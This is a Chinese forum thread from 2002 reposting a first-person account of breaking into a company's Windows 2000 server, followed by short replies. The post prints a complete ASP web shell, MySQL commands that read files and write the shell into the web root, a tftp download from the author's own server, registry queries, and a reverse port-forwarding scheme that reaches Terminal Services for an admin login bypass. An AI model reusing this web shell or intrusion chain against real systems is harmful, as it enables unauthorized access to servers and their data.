>> 欢迎您, 傲气雄鹰: 重登陆 | 退出 | 注册 | 资料 | 设置 | 排行 | 新贴 | 精华 | 管理 | 帮助 首页

  小榕软件实验室
  刀光雪影
  通过Mysql入侵服务器攻略(zz)
发表文章 发表涂鸦
  回复数:9  点击数:585 将此页发给您的朋友        
作者 主题: 通过Mysql入侵服务器攻略(zz) 回复 | 收藏 | 打印 | 篇末
spark帅哥哦
级别:长 老 级
威望:4
经验:0
货币:723
体力:34.5
来源:江苏
总发帖数:780
注册日期:2001-06-26
查看 邮件 主页 QQ 消息 引用 复制 下载 

嘿嘿,这个对我帮助大大,以前对mysql,只知道一些皮毛的东西,
往往不能进一步开发,今天看到这个,呵呵,经过试验,
感觉棒极了。转贴出来给大家看看。


//From 天极网

  某天晚上在IRC的时候,一个老朋友说帮他看看他的新主页的安全性,然后给出URL是abc.target.net,我一看觉得挺眼熟的,target.net公

司里面的CEO,人事部经理,网管我都认识的,前段时间还差点去了那里做网管呢,呵呵,那就看看他们的服务器做的如何吧。

  随后用nmap扫描了一下abc.target.net,发现开的端口挺多的,看来没有安装防火墙或做TCP/IP过滤。从IIS版本判断是Windows 2000的服

务器。IIS没什么好利用的,一看开了3306端口,是mysql的,就用我的mysql客户端尝试连接了一下,root的密码竟然为空,后来就觉得没有多

大意思,于是把目标转到www.target.net,他们的主站,哈哈。

  Ok!先用nmap扫描一下,扫描结果如下:
  25/tcp open smtp
  53/tcp open domain
  80/tcp open http
  110/tcp open pop-3
  389/tcp open ldap
  1002/tcp open unknown
  3306/tcp open mysql

  然后从IIS版本判断目标是windows 2000服务器。从开放的端口来看,它要么是安装了防火墙,要么是做了TCP/IP过滤,呵呵,比

abc.target.net有意思多了。从25和110端口返回的数据来看,他们用的邮件服务器是IMail 6.04,没什么可利用的。IIS上面网管做了安全配

置,一些默认的CGI漏洞也没有,这也没什么好利用的。只剩下最后一个端口了,习惯性的用我的mysql客户端连接试试:

  F:\cmd〉mysql -u root -h www.target.net
  Welcome to the MySQL monitor. Commands end with ; or \g.
  Your MySQL connection id is 3038 to server version: 3.23.21-beta
  Type 'help;' or '\h' for help. Type '\c' to clear the buffer
  mysql〉

  呵呵,不好意思,看来网管没有给mysql帐号root设置一个密码,是默认的空密码,那么我们就可以利用这个漏洞来做点什么了。如果是

MS-SQL数据库的话就好办啦,直接可以用xp_cmdshell来运行系统命令,但是可惜的是mysql没有类似MS-SQL那样的扩展存储过程。

  现在我们可以利用这个漏洞来做三件事情:

〈1〉搜索mysql数据库里面的内容,看能不能找出一些有用的敏感信息,我找了一会儿就不想找了,呵呵

〈2〉读取服务器上的任何文件,当然前提是知道文件的物理路径

〈3〉以启动mysql服务用户的权限往服务器上写文件,前提是这个文件要不存在的,就是说不能覆盖文件

  如果我们知道IIS主目录的物理路径的话,我们就可以往上面写一个ASP上去,然后通过IE来执行系统命令。怎么得到IIS目录的物理路径呢

?天知道!

  没办法,猜吧。。。。。。先在mysql默认数据库test中建一个表tmp,这个表只有一个字段str,类型为TEXT,

  mysql〉 use test;create table tmp(str TEXT);
  Database changed
  Query OK, 0 rows affected (0.05 sec)

  然后凭着自己做网管的直觉,开始猜测IIS主目录的物理路径,c:\inetpub\wwwroot,c:\www,c:\wwwroot,c:\inetpub\web,d:\web,

d:\wwwroot,都不对,55555。大概猜测到第10次,我的mysql客户端回显信息如下:

mysql〉 load data infile "d:\\www\\gb\\about\\about.htm" into table tmp;
Query OK, 235 rows affected (0.05 sec)
Records: 235 Deleted: 0 Skipped: 0 Warnings: 0

  哈哈哈,猜中了,IIS主目录的物理路径是d:\www,因为上面的文件的虚拟路径是http://www.target.net/gb/about/about.htm,看来我得

到一个shell了,呵呵。

  接下来我们就可以往d:\www\gb\about里面写一个ASP文件进去,然后通过http://www.target.net/gb/about/cmd.asp来执行系统命令了。

然后在网上找来一个现成的cmd.asp,懒的自己去写了:)。Cmd.asp如下:
-------------------------------cmd.asp----------------------------------------

〈% Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject(""WSCRIPT.SHELL"")
Set oScriptNet = Server.CreateObject(""WSCRIPT.NETWORK"")
Set oFileSys = Server.CreateObject(""Scripting.FileSystemObject"")
szCMD = Request.Form("".CMD"")
If (szCMD 〈〉 """") Then
szTempFile = ""C:\" & oFileSys.GetTempName()
Call oScript.Run (""cmd.exe /c "" & szCMD & "" 〉 "" & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If %〉
〈HTML〉〈BODY〉〈FORM action=""〈%= Request.ServerVariables(""URL"") %〉"" method=""POST""〉
〈input type=text name="".CMD"" size=45 value=""〈%= szCMD %〉""〉〈input type=submit value=""Run""〉〈/FORM〉〈PRE〉
〈% If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If%〉
〈/BODY〉〈/HTML〉

----------------------------end of cmd.asp-----------------------------------

  由于往mysql数据库中插入数据的时候,会过滤特殊字符什么的,例如双引号之类的,特别麻烦。各位留意没有,上面的ASP语句中,都是

两个双引号一起的,这样才能写进去,原来是一个双引号的。然后我在数据库中再建一个表:

mysql〉 use test;create table cmd(str TEXT);
Database changed
Query OK, 0 rows affected (0.05 sec)

  然后用如下语句,一句一句把上面的ASP写进去:

mysql〉 insert into cmd values("一行一行的asp代码,呵呵");

  为什么不全部一起写进去呢?呵呵,换行后,一会儿导出的文件就会有特殊字符了,asp就不能正常运行了,只能辛苦点一行一行写了。然

后把asp文件导到服务器上:

mysql〉select * from cmd into outfile "d:\\www\\gb\\abou\\cmd.asp";

  然后把我们刚才建的表都删除掉:

mysql〉 use test; drop table tmp; drop table cmd;

  ok!我们得到一个shell了,虽然权限不高,但毕竟已经向取得admin权限迈出一大步了,不是吗,呵呵。做这个asp文件可花了我不少时间

哦。现在我们利用这个shell来收集系统信息,尝试取得admin权限。

〈1〉先看一下系统文件权限设置如何:
c:\ Everyone:(OI)(CI)F
d:\ \xxx:(OI)(CI)(DENY)(特殊访问:)
DELETE
READ_CONTROL
WRITE_DAC
WRITE_OWNER
STANDARD_RIGHTS_REQUIRED
FILE_READ_DATA
FILE_WRITE_DATA
FILE_APPEND_DATA
FILE_READ_EA
FILE_WRITE_EA
FILE_EXECUTE
FILE_DELETE_CHILD
FILE_READ_ATTRIBUTES
FILE_WRITE_ATTRIBUTES

Everyone:(OI)(CI)F

  看来我们现在就可以读写硬盘上的任何文件了,现在就可以改他的首页了,但这样做没意思,对不对,我们的目标是取得admin权限,呵呵




〈2〉然后搜索一下硬盘上都有些什么文件:

c:\Program Files 的目录下有两个比较有意思的文件,

2000-12-19 13:10  Serv-U
2001-01-20 22:43 绿色警戒

把Serv-U里面的用户和密码读出来看看后,没有什么用处,然后进入绿色警戒目录看看,呵呵,除了log外,什么都没有,呵呵。

〈3〉再看看都有哪些用户:

Guest IUSR_SERVER_1 IUSR_SERVER-2
IWAM_SERVER_1 IWAM_SERVER-2 ceo[他们CEO的帐号J]
TsInternetUser

  管理员有ceo 和target\Domain Admins,看来这台机器是他们域中的一台服务器。开始本来想给ceo下一个套,在他的启动目录里放一个程

序,但后来看到这个帐号已经几个月没登陆了,就放弃了。

〈4〉看看启动了那些服务,这几个比较有意思, 看来都是默认的:

Task Scheduler
Simple Mail Transport Protocol (SMTP)
Task Scheduler

〈5〉看看网络状况,这几个比较有意思:

TCP 0.0.0.0:21 0.0.0.0:0 LISTENING
TCP 0.0.0.0:119 0.0.0.0:0 LISTENING
TCP 192.168.1.3:3389 0.0.0.0:0 LISTENING

  看来有TermService,不过在网卡上做了TCP/IP过滤,只对内网开放,那么我们就来

〈6〉看看网卡设置信息:

Ethernet adapter 本地连接:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Realtek RTL8139(A) PCI Fast Ethernet Adapter
Physical Address. . . . . . . . . : 00-E0-4C-68-C4-B2
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . : 192.168.1.3
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
DNS Servers . . . . . . . . . . . :
Ethernet adapter 本地连接 2:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Realtek RTL8139(A) PCI Fast Ethernet Adapter#2
Physical Address. . . . . . . . . : 00-E0-4C-68-B8-FC
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . :xxx
Subnet Mask . . . . . . . . . . . :
Default Gateway . . . . . . . . . :


  经过上面的一些步骤,对这台服务器的设置情况就有了一个大概的了解。如何取得admin权限?netdde?pipeupadmin?呵呵,无法利用,没

有可利用的可以登陆的用户。下套?等到什么时候,呵呵。

  Okok!让我们来看看这个系统都打了些什么补丁。怎么查看?呵呵,打了补丁后,信息都会存贮在注册表中,查询注册表中的这个键值就行

了:"HKLM\Software\Microsoft\Windows NT\CurrentVersion\hotfix",这样的话,我们得上传一个reg.exe[M$ Resource Kit中的命令行注册

表编辑器]到服务器里面,我们才能操作他的注册表。开始我想用先写一个ftp脚本,然后ftp -s:cmd.txt让他到我的服务器来下载,但结果失

败了,后来才想起他做了TCP/IP过滤,5555,我记性真不好。怎么办呢?有办法,用tftp来传输。我先在我的服务器上安装了一个Cisco TFTP

Server,然后在目标机器上运行tftp -I www.eyas.org GET reg.exe,呵呵,传输过去咯。然后运行
REG QUERY "HKLM\Software\Microsoft\Windows NT\CurrentVersion\hotfix"

  返回数据如下:
Listing of [Software\Microsoft\Windows NT\CurrentVersion\hotfix]

[Q147222]==〉这个不知道是什么东西,好象默认2k机器上都有
[Q269862]==〉Q269862_W2K_SP2_x86_CN.EXE==〉Microsoft IIS Unicode解码目录遍历漏洞!
[Q277873]==〉Q277873_W2K_sp2_x86_CN.EXE==〉Microsoft IIS CGI文件名检查漏洞!

  呵呵,==〉和后面的说明是我加上去的,不是注册表中的。看来管理员不太勤快啊,只打了两个补丁。

  哈哈!到了这一步,大家想到怎么取得admin权限了吗?呵呵,你一定也想到了,他的机器开了TermService服务,但windows2000登陆验证

可被绕过的漏洞没有安装补丁,此补丁为Q270676_W2K_SP2_x86_CN.EXE。由此看来,管理员只是删除了帮助法文件,而没有打补丁。用dir

c:\winnt\help\win*验证一下,果然没有熟悉的输入法帮助文件。敌人没有输入法,我们帮他造,hoho~~别忘了我们可以往任何地方写文件哦



  嘻嘻,咱们也别高兴的太早了,别忘了他的机器做了TCP/IP过滤哦,我们是没有办法连接到他的3389端口的。不要着急,不要着急,让我

们先来看看他的TCP/IP过滤的设置情况。怎么看呢?老办法,查看注册表里面的键值啦。用刚才的reg.exe查询

〈1〉reg QUERY "HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces"
Listing of [System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces]
[{4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}]
[{612A3142-DB85-4D4E-8028-81A9EB4D6A51}]

〈2〉reg QUERY "HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\
{4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}"
Listing of [System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\
{4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}]
MULTI_SZ IPAddress ;
MULTI_SZ TCPAllowedPorts 25;53;80;110;3306;
MULTI_SZ UDPAllowedPorts 0;
MULTI_SZ RawIPAllowedProtocols 0;

〈3〉reg QUERY "HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\
{612A3142-DB85-4D4E-8028-81A9EB4D6A51}"
Listing of [System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\
{612A3142-DB85-4D4E-8028-81A9EB4D6A51}]
MULTI_SZ IPAddress 192.168.1.3;
MULTI_SZ TCPAllowedPorts 0;
MULTI_SZ UDPAllowedPorts 0;
MULTI_SZ RawIPAllowedProtocols 0;

  篇幅关系,我过滤了一些输出。第二次查询的是外网网卡,我们可以得知只开放了TCP 25,53,80,110,3306,UDP全部,IP协议全部。

第三次查询的是内网网卡,没有任何限制。
现在我们可以把输入法帮助文件上传到他的c:\winnt\help目录下去,然后如果能连接到他的3389端口的话,我们就可以得到admin权限了。问

题的关键是外网网卡做了TCP/IP限制。55555,怎么办呢?如何突破?有办法!我们可以利用socket转发和反弹端口技术,照样可以连接到敌人

的TermService!

具体过程如下:

〈1〉在我的另一台服务器www.eyas2.org[我称他为AgentMaster]上运行一个程序,监听3389端口[等待我的TermClient去连接],监听11111端

口[等待www.target.net来连接],当然了,第2个端口可以随便选,第1个端口选其他的话,就要相应的修改TermClient,比较麻烦

〈2〉在www.target.net[我称他为AgentSlave]运行另外一个程序, 先连接到www.eyas2.org:11111,再连接到192.168.1.3:3389[敌人服务器

内网的IP]

〈3〉 我的TermClient连接到www.eyas2.org:3389,这样,数据通道就全部建立好了。接下来,两个程序就忠实的为我们转发数据了。
注意:www.eyas2.org和www.eyas.org可以为同一台服务器,但要保证www.target.net能connect上你的服务器。192.168.1.3也可以换为他内网

的任何一个IP。这样,当我用TermClient连接到www.eyas2.org的时候,其实是连接到www.target.net。当熟悉的登陆界面出现在我面前,我熟

练的调出输入法,取得admin权限,呵呵,心里还有那么一点点成就感!

  关于〈利用socket转发和反弹端口技术突破防火墙进入内〉的详细说明和程序原代码解读请参见我另一篇文章。

  简要的回顾一下:发现mysql漏洞==〉凭直觉猜中IIS物理路径==〉写一个cmd.asp文件上去得到一个shell==〉利用系统配置错误取得admin

权限接下来要做的事情,就是把漏洞通知他们的网管了[我可不敢直接告诉他们CEO,呵呵],本来想在那机器上装个sniff什么的,再用来做跳

板进一步尝试入侵他的内网,但后来想想还是算了,呵呵。

【责任编辑:wuhanman】

----------------------------------------------------------
送给你我思念的手
愿它能传递我的温柔
与暖暖的问候
解开你眉间的忧
赶走你心中的愁
让所有幸福与快乐
从此在你的身旁停留

编辑 删除 发表时间发表于 2002-04-19.17:13:02   MSIE 5.01 Windows 2000IP: 已记录
aloner帅哥哦
级别:长 老 级
威望:0
经验:0
货币:151
体力:4.8
来源:NetxEyes
总发帖数:606
注册日期:2002-02-21
查看 邮件 主页 QQ 消息 引用 复制 下载 

收藏
----------------------------------------------------------
Flying...

编辑 删除 发表时间发表于 2002-04-19.17:31:49   MSIE 6.0 Windows 2000IP: 已记录
飞静帅哥哦
级别:精灵王
威望:0
经验:2
货币:2029
体力:100
来源:广西
总发帖数:562
注册日期:2002-04-02
查看 邮件 主页 QQ 消息 引用 复制 下载 

好东东哦!
----------------------------------------------------------
孤独是可耻的,因为我孤独,所以我是可耻的!!....

编辑 删除 发表时间发表于 2002-04-19.17:40:12   MSIE 5.01 Windows 2000IP: 已记录
X-Laser帅哥哦
级别:长 老 级
威望:0
经验:0
货币:37
体力:0.5
来源:218.0.255.*
总发帖数:628
注册日期:2002-02-10
查看 邮件 主页 QQ 消息 引用 复制 下载 

iis没多大意思 有的话贴一篇详细的mysql unix平台的入侵方法

编辑 删除 发表时间发表于 2002-04-19.17:51:18   MSIE 5.0 Windows 98IP: 已记录
掌门人帅哥哦
级别:高级站友
威望:0
经验:0
货币:736
体力:55.4
来源:桃花岛
总发帖数:151
注册日期:2002-03-24
查看 邮件 主页 QQ 消息 引用 复制 下载 

早看过啊
----------------------------------------------------------
在我的一生中, 都希望有你相伴------爱情和人民币!

编辑 删除 发表时间发表于 2002-04-19.18:22:55   MSIE 5.01 Windows 2000IP: 已记录
cn帅哥哦
级别:中级站友
威望:0
经验:0
货币:63
体力:2.6
来源:61.136.160.*
总发帖数:46
注册日期:2002-03-19
查看 邮件 主页 QQ 消息 引用 复制 下载 

按照这种方法,是不是可以在unix服务器里写一个类似cmd.asp的文件来获得一个shell呢?

编辑 删除 发表时间发表于 2002-04-19.18:41:17   MSIE 5.01 Windows 2000IP: 已记录
豆子胡帅哥哦
级别:老 站 友
威望:0
经验:0
货币:526
体力:56.1
来源:四川
总发帖数:216
注册日期:2002-02-06
查看 邮件 主页 QQ 消息 引用 复制 下载 

在雾都上的!

编辑 删除 发表时间发表于 2002-04-19.20:00:03   MSIE 6.0 Windows 98IP: 已记录
笨鸟菜帅哥哦
级别:老 站 友
威望:0
经验:0
货币:1010
体力:65
来源:四川
总发帖数:238
注册日期:2002-02-28
查看 邮件 主页 QQ 消息 引用 复制 下载 

TMP!灌水!!建议斑竹删~~~!!
----------------------------------------------------------
世界上只有一个中国,台湾是祖国不可分割的一部分。

编辑 删除 发表时间发表于 2002-04-20.23:22:22   MSIE 5.5 Windows 98IP: 已记录
HUA帅哥哦
级别:一般站友
威望:0
经验:0
货币:6
体力:0.2
来源:海南
总发帖数:27
注册日期:2002-01-29
查看 邮件 主页 QQ 消息 引用 复制 下载 

狗泗!
MYSQL默认远程连接吗?

编辑 删除 发表时间发表于 2002-04-21.10:54:14   MSIE 5.0 Windows 98IP: 已记录
henyfei帅哥哦
级别:中级站友
威望:0
经验:0
货币:64
体力:17.3
来源:61.167.244.*
总发帖数:41
注册日期:2002-03-16
查看 邮件 主页 QQ 消息 引用 复制 下载 

可是当我www.xxx.com/cmd.asp出现的是源文件啊!

编辑 删除 发表时间发表于 2002-04-21.11:18:57   MSIE 5.01 Windows 2000IP: 已记录
选择回复        
 快速回复主题: >>>高级模式
  用户名: 没有注册? 密码: 忘记密码?
记住密码
HTML语法
禁止IDB代码
禁止表情字符

[按 Ctrl+Enter 快捷键可直接提交帖子]
 投票评分: 共 0 票  
所有时间均为: 北京时间 ↑TOP 
开放主题 拉前主题 移动主题 主题置顶 取消置顶 总固顶主题 取消总固顶 加入精华 移出精华 删除主题